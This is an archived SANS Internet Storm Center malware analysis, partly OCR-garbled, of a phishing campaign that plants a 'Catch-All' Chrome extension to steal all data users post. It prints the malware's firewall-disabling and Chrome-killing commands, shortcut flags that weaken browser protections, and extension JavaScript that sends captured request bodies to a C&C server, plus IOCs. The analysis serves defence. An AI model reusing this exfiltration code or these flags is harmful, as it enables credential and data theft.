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"Catch-All" Google Chrome Malicious Extension Steals All Posted
Data
By SANS Internet Storm Center
Archived: 2026-04-05 20:49:47 UTC
1. Introduction

It seems that malicious Google Chrome extensions are on the rise. A couple of months ago, I posted here
about two of them [1][2] which stole user credentials posted on banking websites and alike. Now, while analyzing
a phishing e-mail, I went through a new malware with a slight different approach: instead of monitoring specific
URLs and focusing on credentials, it captures literally all data posted by the victim on any website — thus the

name.

In today’s diary, I’ll detail the aspects of “Catch-All” malware that caught my attention. Let’s start with the

threat analysis diagram in Figure 1 followed by the text description in section 2.
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Figure 1: “Catch-all” threat flow
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2. Threat analysis

This campaign infection vector is a phishing e-mail with links to photos supposedly from the weekend
pretending to be sent through Whatsapp. The subject is in Portuguese: “Segue as (Fotos Final de Semana )
Enviadas via WhatsApp (30244)”. Something like “See the (Weekend Photos) Sent via WhatsApp (30244)”;

Following any “photo” link, the victim will download the malware dropper file called “whatsapp.exe”. Once
executed, “whatsapp.exe” will present a fake Adobe PDF Reader install screen, as seen in Figure 2, while
downloads, unzips (output are two files, md0 and md1) and executes a “.cab” file called “md18102136.cab”, as

seen in Figure 3.

¥

——— @ T

& Instalacio do Adobe Acrobat Reader PDF - Bem Vindo 1. B (o=l i)

Bem-vindo ao Adobe Acrobat Reader PDF

A Adobe Acrobat Reader DC é o software global padrao gratuito para
visualizar, imprimir e comentar documentos PDF com seguranca.

Observacao: Informacoes pessoais nao sao
solicitadas durante o processo de instalacao.

Cligue em instalar para aceitar o contrato de licenca e instalar o Adobe agora.

Cancelar Instalar »

Figure 2: Fake Adobe PDF Reader install screen
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@ @® Wireshark - Follow HTTP Stream (tcp.stream eq 28) - captura-trafego-whtasapp-exe

GET /md18102136.cab HTTP/1.1

Accept: *x/*

Accept-Encoding: gzip, deflate

User—Agent: Mozilla/4.@ (compatible; MSIE 7.0; Windows NT 6.1; WOW64;
Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)

Host: 177.11.55.90

Connection: Keep-Alive

Figure 3: Dropper downloading malware payload

The “md18102136.cab” file is a ~9.5 Mb zip compressed that, after uncompressed, will result in two very

large files of ~200Mb each as shown in Figure 4.

A

[E B md18102136.cab - ZIP archive, unpacked size|396,042,200 byte

Mame . Size Packed Type |
Local Disk

|| md0 201,878,632 6,532,208 | File

| |mdl 194 163,568 3,385,405 | File

Figure 4: md18102136.cab content

Looking at the content of those binaries, it was possible to see that just ~3% of them had actual instructions,
as seen in Figure 5. The rest are “NOP” code to bloat the file — possibly as a strategy to bypass anti-malware

solutions that usually do not inspect large files.
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Signed Byte

Figure 5: Bloated binaries

Once executed, “md0” will attempt to disable Windows Firewall and kill all Google Chrome processes in

order to install the malicious extension, as seen in Figure 6.

:;umdﬁ.exe (3992) \UserslBellimms Hasiie 'md0 exe “CAUsers Ml s s md0 exe”
C:\Windows\SysWOWE4\netsh exe netsh firewall opmode disable
& taskkill exe (2628) C:A\Windows\SysWOWE4 \taskkill.exe taskkill exe /F /IM chrome exe /T
= taskkill exe (3088) C:\Windows\SysWOW 64 \taskkill exe taskkil exe /F /IM undl32.exe /T
& taskkill exe (4020) C:AWindows\SysWOWE4 \taskdkill exe taskkill.exe /F /IM undll32 exe /T

Figure 6: Disabling the Firewall and Killing Google Chrome processes

It then extracts from itself a Google Chrome extension and changes Google Chrome launcher (“.Ink”) files to

load it on the next execution, as seen in Figures 7.
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Figure 7: Loading malicious extension
This is the content inserted by the malware on “Target” field of Google Chrome link file:

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --disable-extensions-file-access-check --
always-authorize-plugins --disable-improved-download-protection --load-extension="C:\Users\
<USER>\AppData\Local\complemento\E1EDEAESEFE3EOEEEODC2610495

Note that, additionally to load the extension, it disables important security features that could avoid malicious

extension to work properly.

--disable-extensions-file-access-check: disable checking for user opt-in for extensions that want to inject script

into file URLSs (ie, always allow it). This is used during automated testing.

--always-authorize-plugins: prevents Chrome from requiring authorization to run certain widely installed but less

commonly used plug-ins.

--disable-improved-download-protection: disables improved SafeBrowsing download protection (do not verify

files with built-in protection)
3. The malicious extension

After deobfuscating the malicious extension JavaScript source code, it was possible to analyze how it
captures and leaks all data posted by the victim on any website. Looking at Figure 7, it is possible to see that it is

encoding both URL and query string of “requestBody” and giving it to a function called “savetofile”.
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25 var callback = function(__ ) {
26 [ if (__["method"] = "POST") {
27 helpers["savetofile"] (__ ["url™], JSON["stringify"]{{__ ["requestBody"])):
28 /** @type {string} */
29 var querystring = decodeURIComponent (String["fromCharCode™] ["apply™] (null
31 -}
32 [H if (_ ["method"] = "EUT") {
33 /** @type {string} */
34 querystring = decodeURIComponent (String["from
new Uint8Array( ["reguescBody"]["zaw"]([C]['
5 helpers(["savetofile"] (_ ["url"™], querystring):;
36 -}
37 -}
38 [Hwvar filter = {
39 urls : ["<zll urls>"
40 L}: a
41 chrome ["webRequest™] ["onBeforeRequest™] ["addListener™] (callback, filter, [
"requestBody"])

Figure 8: Capturing “requestBody” content

The function “savetofile”, as seen in Figure 9, will send the captured data to a C&C server using jQuery ajax

connections.
addLl1ISLelel™ , CTWEDREeJUEST™ | £
3 var haconex = "htt 1515/";
B Evar helpers = {
5 = e
6 * @param {?} dataAndEvents C&C
7 * @param {?} deepDatalndEvents
B * @return {undefined}
S - ®f
10 = savetofile : funection(datafAndEvents, deepDatafAndEvents) {
11 g [S[rajax"] ({
12 url : haconex,
13 type : "get", Data Ieak
14 async : false,
15 [+ data : {
16 id : "[1=" + datalAndEvents + "=1] [d=" + deepDatalndEvents + "=d]"
17 = 1
18 |- }):

Figure 9: Leaking “requestBody” content

Debugging the extension while trying to log into Gmail, it was possible to see the content that would be sent to

C&C server, as shown in Figure 10.
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Java mbygwk Java mbygwk
{“formData™{"azt™:[ AFoagUVHEm3M3AzhdcDNLX9qYqBaggPXMBQ: - TMbIVda8XITE4Pel TOdYfzAhTjwkUGFKTtSTTAGXKILaH3) [93ETxBWo- =
1509035549854"],"bgRequest™:["[\"identifier\"\"! eEUnjdLauc06L_avExSqH1Q42:QhLM72w3Apz_-
2dg12vtC_RahVhKHEI1EKE- FSBQiXozVSeoKTNMGSngdkkk-
etoMiQROCAAAACVIAAAAGMQFwZd AUIZ6GZ fsj0WxXWSRdsTS500cHp7E hJ-1UXRXS81ndInMTIGyd848%yd3rtTC6UpeCBEBBCTF71bJAiXIGdI4PW
bkS2YtgSIPk9tPxo2IDHXU20p45hz8sw_HLCUS5aTF1bn08Y14cBFh2520Z_ ¥35wsVNylxU_kGESFI7HFO656ABIaaRQINIALZT SswImT7cOxVBqPBKITjM
3GLbmb-j-50z3_VbOwinINC- T, "checkConnection™["youtube:532:1"],"checkedDomains™
eBwLZDNWIiHpl_8agGRiynl_zm6MjDa_7ZUBox24ZwSV7EIoS7tDHL_IP3a ['youtube"],"continue":["https.//mail.google.com/
ABYQ-rdoeFIYEARHZKFFTDE4GkutkrTiP3- mail/"],"cookiesDisabled™["false™], "deviceinfo™["[null, null null, [, null, —
da0Q7AzT2u_SwrAQAD32T7IMHFVMNEZUIPTEdIhWo3VA2Bx- \"BRY" null,null, L\ GlifWebSignIny", null, [null,null, []]],"f.req™:
Jz5_NgnkPVcliU9ahZu_FYC-P4-8m_NkVKgagzY53ttMdoCBx05AgZ-ull- [\ AEThLlygaBR73kuX5xJABg6fb1b7b2NTmOsY1dPeHlvgCTZ GSazfBhm
sXBEr7zCK1kelg- = Xun-ob-
J_pENI2GgskH3vYfRegBQGCAILF2Z3vir_DnV9sqgfkNPgZmild2WeFkwtng ZSMrQVME_wnooxcSmeEmaAviWIXDj6-0LL_WuhQ_ASdAjoall7OInxNSKS
BuHSVip-iY-M2MLirHLiQrksc8_KulL-YasAa- SrrdULCK2dC3eae DOJKEEGKSZgNckmaB2fakjlZtuo2 SZrolZtvBELCZIEGM
WALFEIX5iwZYFPRIaKYFYxnPQZyb0d_v6WwXoESEIubREPWZvUdZEvKHC bdcG5M-D1gKaolHCxp-
HxduStOZs\"]") "checkConnection™["youtube:532:1"],"checkedDomains™ 1 Dy_WoBbtX62_WMSDOQRIEFOpoBQIhZzq80r-3Wd9GHC ljaShhAuM3b
["youtube™]"continue":["https://mail.google.com/ BeNX3X2zHvB3gNQDwiivIQsKGDmMOWOzBNOIu3ONAp)- =
mail/"],"cookiesDisabled":["false"],"deviceinfo™["[null, null null, [ null, mIHZCHHFidVIOEH_8_O-rYHLAKHTRI_3rA" null, 1 null, [1,nullnull null
\"BRY" nullnull L\ GlifWebSignIn\”,null, [null,null, 0117, f.req™ I.I||.t‘fue]], [l null (2,1 null 1\ httpss// I
[[\"email@gmail.com\”, accounts.google.com/Servicelogin?

WRRUS_NNHsdpQ5FuYNFzETmemfRREszlewWZIOKXNT BatjlIM continue=https%3A%2F 3 2F mail.google.com%2F mail3 2F &uservice=mail
BIVRIVANFID2UrFrleXvb8gYrBkiYMQeuTtVILAWQIIVECmIRCBIMVWaA &sacu=18&rip=1&fowName =GlifWebSignin&flowEntry=ServiceLoginfe
0DGtLTZ3na04-JyHBEh0_GOxf-s\", [1null \"BR\", null, null, 2 false true, id=1&navigationDirection=forward\",null,[]4],1,[null,null,
[null null [2,1,null 1 \"httpsy//accounts.google.com/ServiceLogin? [1L.nullnull,null truel]"],"flowEntry™:["ServiceLogin"],"flowName":
continue=https%3A%2F%2Fmail.google.com¥%2Fmailit2F&service=mail ["GlifWebSignln"] "gmscoreversion”:["undefined"], "pstMsg™:["1"] "rip™:
&sacu=18rip=18&flowName=GlifWebSignin&flowEntry="5erviceloginfic = 17, "service™:["mail"]}} -

Prevent this page from creating additional dialogs. Prevent this page from creating additional dialogs.

o K

Figure 10: Data leaking
4. Final words

So, using such approach, an adversary would be able to capture high sensitive data with not much effort compared
to standard methods. It wasn’t necessary for the attacker to attract the victim to a fake website with doubtful SSL
certificates or deploying local proxies to intercept web connections. Quite the opposite, the user is accessing
original and legitimate websites and all the interactions are working properly while data is captured and leaked. In

other words, this method may subvert many security layers the victim may have in place.

As I mentioned in previous related posts[1][2], it sounds strange to me Google Chrome allowing extensions access
sensitive form fields, like passwords, without asking for an additional user’s approval, as well as allowing an
extension to silently and autonomously stablish a connection to an external entity. Additionally, browser security
features that could protect user from harmful extensions can be disabled through command line arguments as in
this case. Should non-tech savvy users be able to programmatically deploy rogue extensions? Comparing it to
Android or iOS ecosystems, it is like allowing users to easily deploy apps not offered by official stores or another

safe channel. What do you think?
5. Indicators of Compromise (IOCs)
Files

MD5 (md0) = 72¢35311136adaaf2c31d54b7d2c462e
MD?5 (md1) = bbcalced8eeala63e4e05a7f7e368b69
MD?5 (whatsapp.exe) = 713fed252238d2cbd48a18b3faa67a8e
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Extension Files

MD?5 (btwjvx.js) = 229495556791239ecf88e883124284b7
MD?5 (ico.png) = 42ab831ae1520621f4117d3639b1131d
MD?5 (java_128.ico) = a5c5f16f314bb022edcdb084850f0d63
MD?5 (java_32.ico) = d7a6c3c105a0ab5dc39bdf5005f044b4
MDS5 (java_64.ico) = 748e901736d11413f8856f9db82e7328
MD5 (manifest.json) = 214859fb1903fefb8c0142273953b4dc
MD?5 (unjjmwv.js) = 5ca7582261c421482436dfdf3af9bffe

Network

hxxps://storage.googleapis.com/webfotosb/Whatsapp.html
hxxp://177.11.55.90/md18102136.cab

hxxps://agenziapetra.com:1515/
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